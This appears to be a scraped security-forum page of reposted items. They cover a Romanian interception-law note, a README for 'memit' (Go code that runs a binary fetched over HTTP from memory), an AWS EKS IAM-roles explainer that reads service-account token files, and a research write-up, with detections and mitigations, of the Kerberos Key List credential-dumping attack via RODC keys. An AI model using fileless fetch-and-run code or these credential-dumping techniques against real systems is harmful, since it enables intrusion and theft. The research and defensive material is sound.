ce acest text și nu altul? De ce nu în CPP? De ce nu s-a făcut vreo dezbatere publică? PS: Am atașat la articol un document unde am OCR-izat textele relevante strecurate după dezbaterea publică, pentru a nu vă obliga să căutați în peste 900 de pagini cu imagini exact unde sunt textele cu pricina... Sursa: https://apti.ro/largirea-interceptarii-comunicatiilor-electronice-impusa-pe-sest?
-
Nu am incercat, e posibil sa fie unele (e.g. ca sa nu permita mining-ul) si oricum sa se incadreze intr-un buget de "trial".
-
Parca si Azure oferea gratis ceva pana la 300 USD, nu stiu daca si GCP. Recomand doar grija cu ce faceti pe acolo sa nu va treziti ca dispar bani frumosi de pe card ulterior.
-
Memit Execute a binary from memory, without touching the disk. Linux only. Available as both a Go module and a binary. Using the Go module The Command() method takes an io.Reader, so you can use it with things like an HTTP response body, a bytes.Buffer, etc. It provides an *exec.Cmd (via memit.Command(...)) so you can wire up stdin/out and configure other parameters just like you would with a regular command. package main import "github.com/liamg/memit" func main() { resp, _ := http.Get("https://.../mybinary") cmd, _, _ := memit.Command(resp.Body, "--args", "--go", "--here") cmd.Stderr = os.Stderr cmd.Stdin = os.Stdin cmd.Stdout = os.Stdout _ = cmd.Run() } Using the binary Grab the latest release and run it like this: memit https://.../mybinary -- # args for the actual binary can be put after the -- Sursa: https://github.com/liamg/memit
-
- 3
-
IAM roles for Kubernetes service accounts - deep dive 15 September, 2021 Categories: Dev Tags: Kubernetes AWS EKS Some time ago I first had anything to do with mixing IAM roles with Kubernetes service accounts. I had to figure out how to retrieve data from DynamoDB from a Pod running in our Kubernetes cluster. Initially I’ve found it very confusing and as I’m not fond of not understanding what exactly is happening in my code, I’ve decided to do a bit of research so that I could get my head around it, and document my understanding of it as I’m progressing. In this post I’ll show you the nuts and bolts of how IAM and Kubernetes work together in harmony to provide you with a great experience of calling AWS services from your pods with no hussle. Grab a cuppa, as it’s gonna be a wild ride through breathtaking steppes of AWS EKS and fascinating plains of Kubernetes. Introduction Consider this scenario: you’ve written your great service logic in one of your favourite languages, there you’ve used an AWS SDK for calling some AWS service (say DynamoDB) for retrieving some very important data from there. When you invoke the code locally it works, as you’ve configured your AWS CLI by providing it with access key ID and secret access key (think of these as username and password). These credentials are associated with an IAM User that you’ve called “Donald Duck” because you’re such a great fan you’ve surrounded yourself with Donald Duck pocket books since you were a little kid. The app that you’re running locally uses these credentials (and as a result, “assumes your identity”) when invoking AWS APIs. Those APIs respond with data because your IAM User (that your credentials are associated with) have access (hopefully) to AWS resources defined in your AWS account. The process of calling AWS resources from your local machine. The story is a little bit different when you dockerise the app, publish the image to some docker images repository (say Elastic Container Service - ECS or DockerHub), and create a Pod in your EKS Kubernetes cluster. It’s quite obvious that by default the Pod itself doesn’t have any AWS-specific credentials associated with it, so it’s got no way of calling AWS services without being brutally rejected. When the Pod gets deployed and the app logic arrives to the point where AWS services have to be initialised/called - your application will throw a wobbly (and an exception) and probably exit very ungraciously unless you were far-sighted enough to handle this scenario. A Pod calling AWS services authenticating with... what? It happens because by default the AWS SDK that you depend on to call the AWS service will try to look for credentials in a few different places, such as parameters, environment variables, shared credential profiles file (~/.aws/credentials) etc. The exact order and places where credentials are searched for differ between SDKs (to give you two examples, I’ll refer to the documentation: Java, Python). IAM doesn’t trust service accounts, do you? As it happens, every Pod that gets deployed to a Kubernetes cluster (with more or less default configuration) will have a service account associated with it. “What’s a service account?” you ask, and I’m glad you do! It’s a way of giving and “identity” to a process that runs on a specific Pod. In simple words it means that each pod will have its own “username” and “password” (actually it’s just a token, but the analogy holds). By default, every Pod in your cluster will be associated with a single service account called… well, “default”. Where could it prove useful? As a result, Pod can use these credentials to call cluster’s apiserver, and the apiserver will know exactly which Pod (or actually - which service account) is calling it. That’s quite useful if you want to restrict what Pods can and cannot do when calling the Kubernetes control plane API. I can already sense your enthusiasm, as you’re thinking: “We’ve got some credentials, why don’t we use these to call AWS services as well!”. It’s not that simple unfortunately. Consider that scenario, imagine we actually called some AWS API with Pod’s credentials. How could AWS know where did these credentials come from and whether these can be trusted or not? Using service account token to call AWS services. I've used ~ as a token symbol because it looks like a snake, and AWS thinks this token is sneaky - close enough. Let’s jot it down How do these credentials actually look like? As I’ve mentioned, by default every Pod will have a service account associated with it. Even though I said that you can think of these credentials as “username” and “password”, it’s actually an obscure piece of text, called a token. This token will be avialable in the Pod as a file in /var/run/secrets/kubernetes.io/serviceaccount. If you spin up and get a shell access to some Pod in your cluster (or any cluster - I’ve followed this tutorial using Katakoda) and retrieve a token by running cat /var/run/secrets/kubernetes.io/serviceaccount/token it will result in something similar displayed on your screen: eyJhbGciOiJSUzI1NiIsImtpZCI6IkxTaWxCV2cwT09uX3JzX2pVbDJWQmZjSVFEajNmbWQ5RERxWllOaDN2ZzAifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4teDRzamsiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjQ4OGQzOTVmLTM0YjAtNGFhYi04NzFkLTE3MDg3ZmMwMjdmNyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.s3FwEJaTmnPtW7puzfST4HJCeFefM2qoI1HaBTpd5gQN57YlL5dIyMtUCo6N3NuF-ELHWRd-Z2rMh3YUxD0alQsVqgUWBDFieU7i-hcjLWaGtnLCsxIA4UMCsVkIcBZGAEDYPLSZ2KANLPFktGvqEdAqr1CD9MGyu-dSvCWMOLGs-1RRTykRWS9nC3ntrF1kk400hqjO5EAkWk8Bk63Y6ZAgCrGzQmlu71tGkFGPSeBN_eDwVKYhEmQMQ2CLxUFDuOHLXNX5iinL-B5qBObtHECyn2WvogjNalQiOZIg93cARrB5fgv2dmJb2wYYfz01xvK7RPvX21Il4nXXGRO6pA Doesn’t look pretty, huh? As it turns out, this piece of text adheres to what’s called a JWT (which stands for “JSON Web Token” and is usually pronounced “jot”). Because it’s not encrypted, but just encoded, we can decode it and actually try to understand its content. If you go to https://jwt.io/ and paste the token in there, we’ll see that the “payload” part of the token looks something like this: { "iss": "kubernetes/serviceaccount", "kubernetes.io/serviceaccount/namespace": "default", "kubernetes.io/serviceaccount/secret.name": "default-token-x4sjk", "kubernetes.io/serviceaccount/service-account.name": "default", "kubernetes.io/serviceaccount/service-account.uid": "488d395f-34b0-4aab-871d-17087fc027f7", "sub": "system:serviceaccount:default:default" } What you can see above is what’s usually called the claims of the token. From what the token “claims” we can conclude that: The issuer of the token is kubernetes/serviceaccount (that’s who has issued, or created the token) The subject of the token is system:serviceaccount:default:default (that’s who the token was issued to) It’s got some other kubernetes-specific claims in it Issues on top of issues Looking at the token above we’ve encountered the key word: issued. What is this all faff about? Let’s start with an issuer. It’s a trusted entity in the system which is responsible for issuing tokens. Issuing tokens means creating (you can also say “minting”) these tokens and handing them out to interested parties (such as our intrepid Pod) that are allowed to get it in the first place. Think of all these tokens that you buy when you go to a funfair. Having them allows you to access different attractions such as hoping on that carousel or getting into the haunted house (and never coming back…). But in order to be allowed to get these tokens, you need to do something first - PAY! In the funfair example - the issuer would be the funfair organiser, or perhaps the company that the funfair organiser paid to handle all this tokens nonsense (it technical terms this process is called “federation”, we’ll get to that soon). In the JWT token example above the token issuer was some entity which calls itself kubernetes/serviceaccount. The issue with this issuer (hehe) and tokens issued by it is that AWS doesn’t put any trust in it (because why should it?). Another quite important problem with the service account token is that it doesn’t expire - if you’ve seen some JWT tokens in your lifetime, you might have noticed that the one above is missing an exp claim, which usually indicates the expiration time of the given token. Long-lived token is a big no-no in the access management world, as it poses some security risk in case the token is lost/stolen. Have you ever lost your keys? If you did - I bet you didn’t feel secure until the locks were changed, and the process of changing locks itself is quite a faff. Imagine losing keys which can open the doors to your house forever - even after changing locks and getting a new pair of keys. Tragedy! Looking at all these difficulties, you might be wondering why am I talking about all these services and tokens if it seems like that’d be useless for achieving our goal: calling AWS services from Pods. Stay with me, we’re getting there! Federated identities In 2014, AWS Identity and Access Management (IAM) added support for federated identities using OpenID Connect (OIDC). What does it mean? Your AWS account, apart from trusting credentials that it issues by itself, can be set to trust some other entity (called identity provider) - to federate (remember the funfair tokens example?) the process of authenticating and issuing tokens. Whoever authenticates with this identity provider could then try to access some AWS resources. In our case the subject is our Pod and resources are either DynamoDB or S3 bucket. To make it a little bit less abstract - I’m going to forget about the Kubernetes cluster for a moment and use an example of a mobile game. Imagine you’re building a game of Snake for mobile devices. One of its features is storing some player and score information in S3 and DynamoDB. You’re a lazy developer so obviously you don’t want to be bogged down with implementing the whole custom sign-in code or managing users’ identities. Guess what - you’re lucky! You can just ask your users to sign in using one of the well-known external identity providers (IdP), such as Google, Facebook, Twitter, Amazon etc. There’s no need for managing usernames, passwords, emails and all that jazz - the big corp is doing it for you! Now image one of the first users of your application - Alice, logs in with an identity provider of her choice - Google. When that login succeeded (she had to provide valid username and password) - Google can just issue a token that now belongs to Alice and provide it to your mobile app (it might be a bit more complicated than that - but let’s not get into too much details - if you want to know more read about Authorization Code Flow with Proof Key for Code Exchange (PKCE)). Alice logging in with Google identity provider. That’s not it yet! From AWS’ perspective, the token provided by Google is called WebIdentityToken. There’s still one step that needs to be done to complete our journey and it’s the process of swapping this token for temporary AWS security credentials. Swap That Swiftly When someone (or something) accesses AWS services such as DynamoDB or S3 bucket, usually AWS requires the caller to provide a set of credentials (access key ID and secret access key) to establish whether a resource can be accessed or not. You’ve already seen it in practice when we discussed the example of calling DynamoDB and S3 from your local machine - the app was smart enough to use your AWS credentials (again: access key ID and secret access key associated with your “Donald Duck” IAM User) for doing it. Similar credentials need to be used when your Snake game/Pod deployed to your cluster needs to access some interesting nuggets stored in a DynamoDB table or an S3 bucket. So far we’ve ended up with a token issued to Alice by her favourite identity provider. What makes it possible to exchange it for a set of short-lived AWS credentials that can be used for calling AWS web services is an AWS service called Security Token Service (STS for short). We’re going to invoke STS API operation called AssumeRoleWithWebIdentity to complete this exchange. Take a look at the diagram below. When developing the application, we’ve created a special IAM role which allows accessing DynamoDB and/or some S3 bucket. When creating this Role we’ve instructed it to trust Google as a federated identity provider (step “0”). Alice logs in with Google, which provides her (well, actually the application running on her mobile phone) with an access token which we call Web Identity token. Then the app will exchange this Web Identity token for temporary security credentials (#) that are associated with the IAM role that was just mentioned above (the application has to provide the ARN of the assumed IAM role as a parameter when invoking AssumeRoleWithWebIdentity STS API operation). Finally, these credentials can be used to actually call AWS web services such as DynamoDB or S3. The process of Alice using Snake app, which in turn calls DynamoDB and S3. You might be wondering: “How the hell did we end up talking about Snake game on a mobile phone, I’m elbows deep in Kubernetes config, get to the point!”. But we’re almost there! As now you’ve got an understanding of how identity federation works in AWS, we can replace the bits we talked about above with Kubernetes-related concepts: Alice becomes a service account (and provides an app with credentials that the identity provider will accept) Snake app becomes your Pod (and exchanges credentials for token and token for temporary AWS credentials) Google becomes a cluster-specific identity provider that Kubernetes enables you to spin up Here’s the result, compare it with the previous diagram and you’ll notice that it’s almost the same: The process of Pod authenticating with service account credentials and calling DynamoDB and S3. Making this work in your cluster After this lengthy introduction what’s left now is to go through the details of how to set this up in your cluster and what’s actually causing this all to work. OIDC Identity Provider setup From your side you’re required to set up an OIDC identity provider for your EKS cluster, but it’s quite straightforward. Actually - AWS has created an OIDC in your EKS cluster for you already! You can either retrieve it from the AWS Console (in cluster’s configuration page, it’s a field called “OpenID Connect provider URL”) or if you prefer the command line, you can invoke: aws eks describe-cluster --name $CLUSTER_NAME --query cluster.identity.oidc (obviously, you need to define CLUSTER_NAME environment variable first). Then all you need to do is to create an Identity Provider in IAM settings so that it matches the URL of the identity provider that’s there in your cluster. For details, refer to the documentation. If you’ve got your cluster Terraformed, refer to this article on how to do it correctly. IAM role setup The next step is to make sure that the IAM role that you’ll define (so that your Pods can assume it) actually trusts the cluster’s OIDC identity provider. A quick reminder on IAM roles - any meaningful IAM role is defined by at least two policies. One is the trust policy that specifies who can assume the role. All other policies are permissions policies that specify the AWS actions and resources that whoever assumes this role is allowed or denied access to. Trust policy An example trust policy that you provide when you’re creating your IAM role in this scenario looks like this: { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "sts:AssumeRoleWithWebIdentity", "Principal": { "Federated": "<ARN of your cluster's OIDC Identity Provider>" }, "Condition": { "StringEquals": { "<URI of your cluster's OIDC Identity Provider>:aud": "sts.amazonaws.com" } } } ] } Pay attention - there are two different identifiers that you need to provide here! Statement.Principal.Federated - that’s the ARN of the Identity Provider that you’ve just defined in IAM (just above, do you remember?) Statement.Condition.StringEquals - the key should contain the URI originally given by the EKS cluster (you’ve also used it to create aforementioned Identity Provider in IAM) Permission policy An example permission policy could look like this (obviously, that’ll be application specific, here I’m just giving an example): { "Version": "2012-10-17", "Statement": [ { "Sid": "", "Effect": "Allow", "Action": [ "dynamodb:Query", "dynamodb:ListTables", "dynamodb:GetItem", "dynamodb:BatchGetItem" ], "Resource": [ "arn:aws:dynamodb:<AWS region>:<your AWS account ID>:table/<your table name>" ] } ] } Off the hook The only mistery left is: what’s putting it all in motion? You don’t want to be putting any logic in your Pod application that does any crazy token exchanges or anything like that! Meet Amazon EKS Pod Identity Webhook. To do its job properly, the webhook (installed and running in your EKS cluster by default) will be looking for a very specific thing: a ServiceAccount Kubernetes resource annotated with eks.amazonaws.com/role-arn annotation. When it finds such a ServiceAccount, all new Pods launched using this ServiceAccount will be modified to use IAM for Pods. What does it mean in practice? When it starts, your Pod will automatically get: some environment variables (AWS_DEFAULT_REGION, AWS_REGION, AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE, AWS_STS_REGIONAL_ENDPOINTS) a volume (containing a Web Identity Token) mounted to the container The volume will be mounted under /var/run/secrets/eks.amazonaws.com/serviceaccount/. Sounds similar, doesn’t it? Some differences between the Kubernetes token (the one we initially discussed) and the AWS Web Identity Token are that: Web Identity Token is mounted under a different path (as a reminder, in case of Kubernetes token it was /var/run/secrets/kubernetes.io/serviceaccount/) Web Identity Token has got an expiration date So to progress, you’ll have to create a Kubernetes ServiceAccount resource annotated with the ARN of the IAM role we’ve created just moments ago. Here’s an example configuration if you need an inspiration (obviously, replace the AWS Account ID and the IAM role name): apiVersion: v1 kind: ServiceAccount metadata: name: my-serviceaccount namespace: default annotations: eks.amazonaws.com/role-arn: "arn:aws:iam::111122223333:role/allow-read" Then you’ll need to modify the configuration of your Pod and specify a serviceAccountName parameter. As per the documentation: To use a non-default service account, set the spec.serviceAccountName field of a pod to the name of the service account you wish to use. So go and do just that! Next time your pod gets recreated, you’ll be able to see the fruits of your work! Just ssh again into the Pod that’s using our brand new, fresh and shiny ServiceAccount, and invoke cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token. You can again copy the content of the token and paste it in https://jwt.io/ to see that its payload looks a bit different: { "aud": [ "sts.amazonaws.com" ], "exp": 1626519664, "iat": 1626433264, "iss": "<your cluster's OIDC URI>", "kubernetes.io": { "namespace": "default", "pod": { "name": "<name of your Pod>", "uid": "<ID of your Pod>" }, "serviceaccount": { "name": "my-serviceaccount", "uid": "<ID of your ServiceAccount>" } }, "nbf": 1626433264, "sub": "system:serviceaccount:default:my-serviceaccount" } Congratulations, that’s something AWS services can finally accept when your application calls their APIs! The AWS SDK will fetch the token from this location when instructed to call AWS services, regularly exchange it for fresh IAM role credentials when they get expired (with the help of STS service) and retrieve required data from DynamoDB and S3. From now everything will go swimmingly. Trust me. Summing up Let’s take a step back and think what we went through to make it possible for your Pods to call AWS Services such as DynamoDB or S3. First we obviously needed an application ready to be running in your cluster. Then we’ve created an IAM Identity Provider that points to your cluster’s Identity Provider. Then we’ve created an IAM role that trusts your cluster’s Identity Provider (through the IAM Identity Provider resource mentioned above). Then we’ve created a ServiceAccount Kubernetes resource. Then we’ve modified the specification of the Pod so that is uses this ServiceAccount. Finally (thanks to Amazon EKS Pod Identity Webhook) the Pod automagically gets access to IAM role credentials that it can use to call AWS services! That’s it, hope you enjoyed it! Sursa: https://mjarosie.github.io/dev/2021/09/15/iam-roles-for-kubernetes-service-accounts-deep-dive.html
-
The Kerberos Key List Attack: The return of the Read Only Domain Controllers Leandro Cuozzo Security Researcher at SecureAuth @0xdeaddood Some time ago Microsoft released a very cool feature that caught our attention. That was a passwordless authentication functionality that provides seamless single sign-on (SSO) to on-premises resources, using security keys such as the famous FIDO2 keys. So, the idea was simple, you could sign-in to your hybrid Azure AD-joined Windows 10 device and automatically access both cloud and on-premises resources. The FIDO2 security key became the access key to the two kingdoms. SSO everywhere, and no passwords needed. The holy grail. Microsoft had previously released the same functionality only for Azure AD-joined devices, but now the scope has been expanded to Hybrid environments. How did they do it? How does it work? Kerberos are you there? What we found was even better: a new credential gathering attack vector involving Read Only Domain Controllers servers! Let’s take a look at all the way from researching new functionality to implementing a new attack on Impacket. The passwordless experience in Azure Let’s start from the beginning. As I mentioned before, Microsoft expanded the passwordless experience to on-premises resources with Azure Active Directory. But what does it mean? At first glance, since we’re talking about SSO capabilities to on-premises resources, we should also talk about Kerberos. Kerberos is the main authentication protocol that is used to verify the identity of a security principal (a user or a host) in a Windows domain. It’s based on symmetric cryptography (shared secrets) and uses the concept of tickets to validates those identities. Roughly speaking, Kerberos issues two kind of tickets, a Ticket Granting Ticket (TGT) that validates the identity of a principal, and a Service Ticket used by the principal to authenticates against other services in the domain. Let’s suppose I want to access to Service 1 that runs in the Server A. An authentication flow would be as follows: Figure 1. Kerberos Authentication Pretty clear, isn’t it? Well, let’s make things a little more complicated. Let’s move this situation to the hybrid world. An authentication flow with security keys would be as follows: Figure 2. Passwordless Authentication So, what do we have here? Partial TGTs trading for fully ones, and Kerberos Server keys replicated in the cloud. What is all this? Let’s start to dig into this. Up to now, only the Key Distribution Center (KDC) service, located on the Domain Controller, had the authority to issue TGTs. However, the introduction of this new passwordless experience changed things a bit: as we could see in the previous flow, Azure AD can now issue Kerberos TGTs for one or more domains! This brought to my mind another question, what about the krbtgt account? The security principal used by the KDC in any domain is the krbtgt account. This is a special account that can’t be deleted, nor can the name be changed, and its password is used to derive a cryptographic key for encrypting the TGTs that the KDC issues. For obvious reasons, this account doesn’t leave the AD server. So, how can Azure AD issue TGTs without this special account? This is where the figure of the Azure AD Kerberos server object appears. Figure 3: Kerberos Server Object Properties An Azure AD Kerberos Server is an object created in the on-premises AD that is replicated in Azure AD and not associated with any physical servers (it’s virtual). It’s composed by a disabled user account object that follows the naming format “krbtgt_######” and an associated computer account “AzureADKerberos”. Doesn’t this sound familiar? This object is used by Azure AD to generate the partial TGTs for the domain. How? Well, the user account holds the Azure AD Kerberos Server TGT encryption key. This is the Kerberos Server key used in the second step of the authentication flow to encrypt the partial ticket. Half the problem solved. The krbtgt key of our domain doesn’t need to be published to the cloud, instead of that, the key of this new krbtgt_###### account will be used. So, Azure can now issue tickets but, what about Service Tickets and Authorization? Service Tickets and authorization continue to be controlled by on-premises AD domain controllers. Azure AD doesn’t have all needed information to include the Privileged Attribute Certificate (PAC) into the tickets, that’s the reason why it only issues partial tickets. How does the flow continue? Once we obtain the partial ticket, we have to trade it (against an on-prem AD) for a fully one that will include all the authorization information needed, and finally, use it to request the different Service Tickets to access the on-premises resources. With that, we obtain the Kerberos SSO capabilities and the passwordless experience is completed. At this point, just one question remained, what is this Kerberos Server object really? (Why our on-premises AD trust in its the key?) And the answer was very easy to obtain just by seeing the properties of the machine account related to the object: Figure 4: Computer Properties We’re talking about a Read-Only Domain Controller (RODC). Microsoft reuses the concept of RODC to implement a “cloud” version of Kerberos that allows Azure AD to offer SSO capabilities. I told you that there was something that sounded familiar to me. Remember Read Only Domain Controllers? Before continuing, it’s important to review some basic concepts about RODC. If anyone wants to learn more about it, I totally recommend this great article from Sean Metcalf. In a few words, a RODC is a type of domain controller that hosts read-only partitions of the Active Directory database. Except for account passwords, it holds all the AD objects and attributes that a writable domain controller holds. However, changes cannot be made to the database that is stored on the RODC. It’s designed primarily to be deployed in remote or branch office environments, which typically have relatively few users, poor physical security, or poor network bandwidth to a hub site. The main concept that I want to review, and that will be very useful in what comes, is the credential caching. As I mentioned before, the account passwords aren’t saved into the RODC by default (for security purposes), so the authentication process in a branch site is a little bit different: First, the user sends a TGT request to the RODC of their site. The RODC server checks if the user credential is cached: If not, the RODC forwards the request to a writable DC (continues to 3) If the credentials are cached, the authentication is resolved by the RODC (finishes here) The writable DC authenticates the user, signs a TGT, and sends the response back to the RODC. The RODC will check if the user if allowed to cache their credentials: If the user is included in the Allowed RODC Password Replication, their credentials are stored in the server, and the msDS-RevealedList attribute of the RODC is populated with the username. Subsequent authentication requests will be managed by the RODC. If the user is included in the Denied RODC Password Replication, their credentials won’t be stored, and subsequent authentication requests will be forwarded to a writable DC. Finally, the RODC forwards the TGT to the user which can use it to request Service Tickets. So, the caching is useful to ensure users and computers can authenticate to RODC when a writable DC is inaccessible and RODC can’t forward requests to it. However, this could be a double-edged sword. The reason why there are no cached credentials is to prevent the entire domain from being put at risk when a RODC server is compromised. As we saw, these branch sites have a lower level of security. So, the main idea behind the credential cache is just to keep the minimum number of passwords needed to operate on the site. Let’s keep this in mind for the future. Legacy protocols for the win Going back to the passwordless scenario, we saw how Microsoft supports SSO to on-premises resources in hybrid environments using Kerberos. However, what happened with the access to resources that use legacy protocols like NTLM? Yes, we can’t easily get rid of legacy protocols. The easy way to start analyzing this situation was inspect a Wireshark capture of a passwordless authentication. The part of the authentication that we were most interested in analyzing was steps 4 and 5 of Figure 2, the exchange between partial and full tickets. The fully TGT is obtained via a TGS-REQ (packet n°577) to the KDC (krbtgt service): The TGS-REQ included two pre-authentication data (PA-DATA). The PA-TGS-REQ with the partial TGT and an unknown PA-DATA type number 161. An unknown type is a clear sign that something is happening there. If Wireshark didn’t have that data type defined, it’s because that data is relatively new. So, the first thing to do was to review the [MS-KILE]: Kerberos Protocol Extensions, and check this PA-DATA type. First result to come was a new type of TGS-REQ: 3.3.5.7.8 Key List Request When a Key Distribution Center (KDC) receives a TGS-REQ message for the krbtgt service name (sname) containing a KERB-KEY-LIST-REQ [161] padata type the KDC SHOULD include the long-term secrets of the client for the requested encryption types in the KERB-KEY-LIST-REP [162] response message and insert it into the encrypted-pa-data of the EncKDCRepPart structure, as defined in [RFC6806]. The mention of long-term secrets made me think I was on the right track. And it was! Bingo! 2.2.11 KERB-KEY-LIST-REQ The KERB-KEY-LIST-REQ structure is used to request a list of key types the KDC can supply to the client to support single sign-on capabilities in legacy protocols. Its structure is defined using ASN.1 notation. The syntax is as follows: KERB-KEY-LIST-REQ ::= SEQUENCE OF Int32 — encryption type — The structure of the KERB-KEY-LIST-REQ is used to support SSO capabilities with legacy protocols. It only remained to check what type of encryption was requested and what was the response. Going back to the capture: The content of the PA-DATA was the encoded value of 3003020117, that represented the encryption type 23 or RC4-HMAC. Yes, we were requesting the user’s NT Hash! After confirmed that, I started reviewing the response (packet n°583): Inside the encrypted part of the TGS-REP (decrypted with the session key) we could find the PA-DATA type 162, the KERB-KEY-LIST-REP: Going back to the MS-KILE, I checked the encoding of the structure to decode data and get the key: 2.2.12 KERB-KEY-LIST-REP The KERB-KEY-LIST-REP structure contains a list of key types the KDC has supplied to the client to support single sign-on capabilities in legacy protocols. Its structure is defined using ASN.1 notation. The syntax is as follows: KERB-KEY-LIST-REP ::= SEQUENCE OF EncryptionKey The encoded PA-DATA was decoded into: The user is now able to use its NT-Hash to authenticate with NTLM. SSO in legacy protocols! The Key List attack Bingo! We found the way Windows implements SSO with legacy protocols. After checking that, the team’s reaction was immediate, we also found a new potential way to dump credentials with lower requirements! The idea behind this new technique is simple. If we were able to reproduce the previous TGS-REQ with the new PA-DATA, we would have the list of all long-term secrets of the user. So, the first attempt was to replicate the TGS-REQ to the krbtgt service adding the KERB-KEY-LIST-REQ structure with a regular user. That means that the TGT included was issued to this regular user by the KDC, something easy to obtain without needing to know the krbtgt credentials. The response was a normal TGS-REP with no new data (no KERB-KEY-LIST-REP was included). No problem let’s escalate. The second attempt was a new TGS-REQ of an administrator user. The same process as before, and the same result, no keys in the answer. The idea wasn’t so straightforward. If the process works for RODC, let’s try including a partial TGT signed by this server into the TGS-REQ. And here we have the answer. Replicate a partial TGT signed by a RODC and issued to a particular user, include it into a TGS-REQ, decrypt the response and get the key. Repeat to whatever user we want. After a couple of attempts, I noticed that some users obtained the error: KDC_ERR_TGT_REVOKED (TGT has been revoked). Why? Those users were included in the group Denied RODC Password Replication, and consequently, have this new Kerberos function restricted. Users such as Administrators are denied replicating their passwords by default. Here we remember the importance of managing the password replication permissions that we talked about in the RODC section. The good news, we can attack both physical RODC servers and virtual ones (the Azure AD Kerberos Server object is included in our attack surface!). And something no less important, the targets users don’t need to be cached in the RODC! Something that was needed in previous attacks against this kind of Domain Controllers. So, what are the requirements? In summary: We must know the krbtgt credentials of the RODC (-rodcKey) because we need to create a partial ticket and a TGS-REQ with some special conditions. We have several ways to get those credentials, for instance, if we obtain local admin to the RODC, we can dump the SAM database with Mimikatz. If we’re talking about virtual RODC, we can target the Azure AD Connect Server. We must have the ID of the krbtgt account of the RODC (-rodcNo). Not big deal. We must target users that aren’t explicitly detailed in Denied group. With these requirements in place, I opened a PR that includes a new example script (keylistattack.py) and a new option (-use-keylist) in secretsdump.py to demonstrate the attack. Basically, the attack has two main parts: the user listing and the ticket requesting: First, we need to know what our target is. We can define the target by parameter (LIST option) defining a target username (-t flag) or defining a file with a list of target usernames (-tf flag), or we can do an enumeration (for instance, a SAMR user enumeration). For the last option, we need a low credential user, and we have two options. The default option, that filter the domain users included in the Denied group, and the full one (-full flag), that hit everybody! Once we know who to attack, we request the ticket, process the response, and get the keys! Figure 5. keylistattack.py using SAMR user enumeration without filtering (-full flag) Figure 6. keylistattack.py using SAMR user enumeration and filtering (attack by default) Figure 7. keylistattack.py defining a target username (-t flag) Figure 8. secretsdump.py using the Kerberos Key List Attack option (-use-keylist) How to detect this ? Presented the new attack, how can we detect it? As the attack implements a valid Key List request that could be present in the normal operation of an environment with passwordless enabled, the options aren’t many: Audit the enumeration operations: SAMR enumeration: Event 4661 – A handle to an object was requested (Object Type: SAM_DOMAIN, SAM_ALIAS, SAM_GROUP). LDAP enumeration Audit the Kerberos Service Ticket Operations: Success requests: Event 4769 – A Kerberos service ticket was requested (Ticket Options: 0x10000 – Proxiable) TGT revoked: Event 4769 – A Kerberos service ticket was requested (Failure Code: 0x14 – KDC_ERR_TGT_REVOKED) How to mitigate this attack? Physical RODCs: Don’t add “Authenticated Users” or “Domain Users” to the “Allowed RODC Password Replication Group”. If it is required, those RODCs should be protected in a similar level to a writable DC (tier 0). Add all privileged accounts and groups to the “Denied RODC Password Replication Group”. Don’t set regular user accounts as RODC administrators. These kinds of accounts are usually less secure than high-profile accounts, and their compromised could lead to the credential dumping of local accounts (including the krbtgt account of the RODC). Virtual RODCs (Azure AD Kerberos Server/Passwordless scenario): Make sure to add only users with passwordless capabilities to the “Allowed RODC Password Replication Group”. The Azure AD Connect server contains critical identity data and should be treated as a Tier 0. Conclusions Both physical and virtual RODCs can be attacked. The attack surface in virtual RODCs is more extensive due to the required replication permissions. The accounts to attack don’t need to be cached on the RODC. No administrator credentials are needed, and if you have a list of users, you don’t even need credentials. The attack requires that there is at least one DC server with the updated versions of Windows 2016/2019 (patches kb4534307 and kb4534321 respectively). Resources https://docs.microsoft.com/en-us/azure/active-directory/authentication/howto-authentication-passwordless-security-key-on-premises https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/cc754218(v=ws.10) https://adsecurity.org/?p=3592 Sursa: https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/a
-
Lateral Movement With Managed Identities Of Azure Virtual Machines Posted on November 30, 2021 by m365guy One comment This blog post will cover details around Managed Identities in Azure VMs. During this blog post, we are trying to get a few questions answered, which goes from what Managed Identities are, why people are using them, and if we could abuse them to move laterally, etc. This blog post will be focusing on Managed Identities of Azure Virtual Machines, but more related blog posts will come soon. What are Managed Identities? Managed Identity is a Service Principal of a special type that may only be used with Azure resources. It provides an identity to an application to use when connecting to a resource that supports Azure AD authentication. Managed Identities can help developers to eliminate credentials, because they don’t have to manage it anymore. We’ll go more into the details later in this blog post. Microsoft provides a great use-case in this documentation. Where they are explaining that applications may be using Managed Identities to access Azure Key Vaults, which developers can use to store credentials. An other example that was mentioned, was accessing storage accounts. Let’s say that we want our Managed Identity of our Azure VM to access an Azure Key Vault. The only thing we have to do is assign it the correct RBAC role, so if we are accessing an Azure Key Vault with a Managed Identity. It will receive a token from the Instance Metadata Service, to access it. We do not have to specify any credentials, because the Instance Metadata Services will notice the Managed Identity, that is attached with our Azure VM. This is a central backend service that is running on Azure VMs. Here we have a high-level architecture of how the Instance Metadata Services work. Types of Managed Identities There are two types of Managed Identities, which are System-Assigned and User-Assigned. There is not much of a big difference, except for one thing. Once you enable a System-Assigned Managed Identity to an Azure resource. The Managed Identity will automatically be assigned, and will also get deleted. If the Azure resource has been deleted. In other words, the lifecycle of a System-Assigned Managed Identity is tied to the lifecycle of an Azure resource. User-Assigned Managed Identity is created manually and is also manually assigned to an Azure resource. The lifecycle is not tied to an Azure resource, so once a resource has been deleted. The User-Assigned Managed Identity won’t be deleted. User-Assigned managed identities can be used on multiple resources. 